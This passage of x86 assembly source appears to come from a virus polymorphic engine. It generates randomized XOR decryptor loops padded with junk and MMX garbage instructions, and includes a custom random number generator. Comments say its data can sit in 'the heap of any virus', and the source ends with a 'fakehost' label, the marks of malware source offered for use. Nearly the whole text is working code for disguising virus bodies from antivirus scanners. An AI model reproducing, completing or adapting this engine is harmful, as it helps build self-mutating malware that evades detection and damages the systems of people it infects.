@@gen_non_mmx_crypt_instructions: mov ax,0031h ; XOR [reg_ptr],reg_key movzx ebx,byte ptr [ebp+@@reg_key] shl ebx,3 or bl,byte ptr [ebp+@@reg_ptr2data] or ah,bl stosw ret ; Generate the code that will pass the already decrypted data to its original ; position @@gen_passmmx2ptr: mov ax,7E0Fh ; MOVD [reg_ptr],(mmx_ptr xor mmx_key) stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_ptr2data] stosb or word ptr [ebp+@@flags],_PASSMMX2PTR ret ; Select the order between increase pointer and decrease counter @@gen_incpointer_deccounter: mov eax,2 call r_range xchg eax,ecx jecxz @@gdc_gip @@gip_gdc: call @@gen_incpointer call @@gen_some_garbage call @@gen_deccounter ret @@gdc_gip: call @@gen_deccounter call @@gen_some_garbage call @@gen_incpointer ret ; Generate the code for make the pointer register to point to the next dword @@gen_incpointer: mov eax,5 call r_range xchg eax,ecx jecxz @@gip_@@2 dec ecx jz @@gip_@@3 dec ecx jz @@gip_@@4 dec ecx jnz @@gip_@@1 jmp @@gip_@@5 @@gip_@@1: mov bl,4 ; ADD reg_ptr,4 call @@gip_AddIt jmp @@gip_EXIT @@gip_@@2: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@2_@@2 @@gip_@@2_@@1: mov bl,3 ; ADD reg_ptr,3 call @@gip_AddIt call @@gen_garbage mov bl,1 ; INC reg_ptr call @@gip_IncIt jmp @@gip_@@2_EXIT @@gip_@@2_@@2: mov bl,1 ; INC reg_ptr call @@gip_IncIt call @@gen_garbage mov bl,3 call @@gip_AddIt ; ADD reg_ptr,3 @@gip_@@2_EXIT: jmp @@gip_EXIT @@gip_@@3: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@3_@@2 @@gip_@@3_@@1: mov bl,2 ; ADD reg_ptr,2 call @@gip_AddIt call @@gen_garbage mov bl,2 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr jmp @@gip_@@2_EXIT @@gip_@@3_@@2: mov bl,2 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr call @@gen_garbage mov bl,2 ; ADD reg_ptr,2 call @@gip_AddIt jmp @@gip_@@2_EXIT @@gip_@@4: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@4_@@2 @@gip_@@4_@@1: mov bl,1 ; ADD reg_ptr,1 call @@gip_AddIt ; INC reg_ptr call @@gen_garbage mov bl,3 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr jmp @@gip_@@2_EXIT @@gip_@@4_@@2: mov bl,1 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr call @@gen_garbage mov bl,3 ; INC reg_ptr call @@gip_AddIt ; ADD reg_ptr,1 jmp @@gip_@@2_EXIT @@gip_@@5: ; INC reg_ptr mov bl,4 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr ; INC reg_ptr @@gip_EXIT: or word ptr [ebp+@@flags],_INCPOINTER ret @@gip_AddIt: mov al,83h stosb mov al,byte ptr [ebp+@@reg_ptr2data] or al,11000000b stosb mov al,bl stosb ret @@gip_IncIt: movzx ecx,bl mov al,40h add al,byte ptr [ebp+@@reg_ptr2data] @@gip_II_Loop: stosb push ecx eax call @@gen_garbage pop eax ecx loop @@gip_II_Loop ret ; Generate the code that will decrease in one unit the counter @@gen_deccounter: mov eax,3 call r_range xchg eax,ecx jecxz @@gdc_@@2 dec ecx jecxz @@gdc_@@3 @@gdc_@@1: mov al,83h ; SUB reg_size,1 stosb mov al,byte ptr [ebp+@@reg_counter] or al,11101000b stosb mov al,1 stosb jmp @@gdc_EXIT @@gdc_@@2: mov al,48h ; DEC reg_size add al,byte ptr [ebp+@@reg_counter] stosb jmp @@gdc_EXIT @@gdc_@@3: mov al,83h ; ADD reg_size,-1 stosb mov al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb mov al,0FFh stosb @@gdc_EXIT: or word ptr [ebp+@@flags],_DECCOUNTER ret ; Generate the loop-alike thingy @@gen_loop: mov eax,04h call r_range or eax,eax jz @@gl_@@3 dec eax jz @@gl_@@2 dec eax jz @@gl_@@1 @@gl_@@0: mov al,83h ; CMP reg_size,00h stosb movzx eax,byte ptr [ebp+@@reg_counter] or al,11111000b stosb xor eax,eax stosb jmp @@gl_dojnz @@gl_@@1: mov al,83h ; CMP reg_size,-1 stosb movzx eax,byte ptr [ebp+@@reg_counter] or al,11111000b stosb xor eax,eax dec eax stosb mov eax,dword ptr [ebp+@@size_address] dec dword ptr [eax] jmp @@gl_dojnz @@gl_@@2: mov al,0Bh ; OR reg_size,reg_size stosb movzx eax,byte ptr [ebp+@@reg_counter] shl eax,3 or al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb jmp @@gl_dojnz @@gl_@@3: mov al,85h stosb movzx eax,byte ptr [ebp+@@reg_counter] ; TEST reg_size,reg_size shl eax,3 or al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb mov eax,dword ptr [ebp+@@size_address] dec dword ptr [eax] @@gl_dojnz: mov ax,850Fh ; JNZ LOOP_ADDRESS stosw mov eax,dword ptr [ebp+@@l00paddress] sub eax,edi sub eax,00000004h stosd or word ptr [ebp+@@flags],_LOOP ret ; --- Garbage generator's table @@gbgtbl label byte dd offset (@@do_anything) ; Oh, my lazy engine! :) dd offset (@@gen_arithmetic_reg32_reg32) dd offset (@@gen_arithmetic_reg32_imm32) dd offset (@@gen_arithmetic_eax_imm32) dd offset (@@gen_mov_reg32_imm32) dd offset (@@gen_mov_reg8_imm8) dd offset (@@gen_call_to_subroutine) dd offset (@@gen_push_garbage_pop) dd offset (@@gen_zer0_reg) dd offset (@@gen_arithmetic_reg32_reg32) dd offset (@@gen_arithmetic_reg32_imm32) dd offset (@@gen_arithmetic_eax_imm32) dd offset (@@gen_mov_reg32_imm32) dd offset (@@gen_mov_reg8_imm8) @@non_mmx_gbg equ (($-offset @@gbgtbl)/4) ; MMX Garbage generatorz dd offset (@@gen_onebyter) ; For security, it's here dd offset (@@gen_mmx_group1) dd offset (@@gen_mmx_group2) dd offset (@@gen_mmx_group3) dd offset (@@gen_mmx_movq_mm?_mm?) dd offset (@@gen_mmx_movd_mm?_reg32) @@s_gbgtbl equ (($-offset @@gbgtbl)/4) ; MMX version @@after_looptbl label byte dd offset (@@gen_passptr2mmx) ;\ dd offset (@@gen_crypt_instructions) ; >- Must follow this order dd offset (@@gen_passmmx2ptr) ;/ dd offset (@@gen_incpointer_deccounter) dd offset (@@gen_loop) @@s_aftlooptbl equ (($-offset @@after_looptbl)/4) ; Non MMX version @@after_l00ptbl label byte dd offset (@@gen_non_mmx_crypt_instructions) dd offset (@@gen_incpointer_deccounter) dd offset (@@gen_loop) @@s_aftl00ptbl equ (($-offset @@after_l00ptbl)/4) mmxe_end label byte mmxe endp ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; Random procedures ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; ; RANDOM ; ; input: ; Nothing. ; output: ; EAX = Random number ; random proc ; Thanx MDriller! ;) push ecx mov eax,dword ptr [ebp+rnd_seed1] dec dword ptr [ebp+rnd_seed1] xor eax,dword ptr [ebp+rnd_seed2] mov ecx,eax rol dword ptr [ebp+rnd_seed1],cl add dword ptr [ebp+rnd_seed2],eax adc eax,dword ptr [ebp+rnd_seed2] add eax,ecx ror eax,cl not eax sub eax,3 xor dword ptr [ebp+rnd_seed2],eax xor eax,dword ptr [ebp+rnd_seed3] rol dword ptr [ebp+rnd_seed3],1 sub dword ptr [ebp+rnd_seed3],ecx sbb dword ptr [ebp+rnd_seed3],4 inc dword ptr [ebp+rnd_seed2] pop ecx ret random endp ; R_RANGE ; ; input: ; EAX = Number of possible random numbers ; output: ; EAX = Number between 0 and (EAX-1) r_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret r_range endp mmxe_data label byte ; This data can be put in the ; heap of any virus random_seed label byte rnd_seed1 dd 00000000h rnd_seed2 dd 00000000h rnd_seed3 dd 00000000h ; Registers used @@reg_key db 00h @@reg_ptr2data db 00h @@reg_counter db 00h @@reg_delta db 00h @@reg_mask db 00h @@mmx_ptr2data db 00h @@mmx_key db 00h @@init_mmx? db 00h @@ptr_data2enc dd 00000000h @@ptr_buffer dd 00000000h @@size2enc dd 00000000h @@size2cryptd4 dd 00000000h @@tmp_call dd 00000000h @@fix1 dd 00000000h @@fix2 dd 00000000h @@enc_key dd 00000000h @@l00paddress dd 00000000h @@size_address dd 00000000h @@ptrto2nd dd 00000000h @@flags dw 0000h @@recursion db 00h end fakehost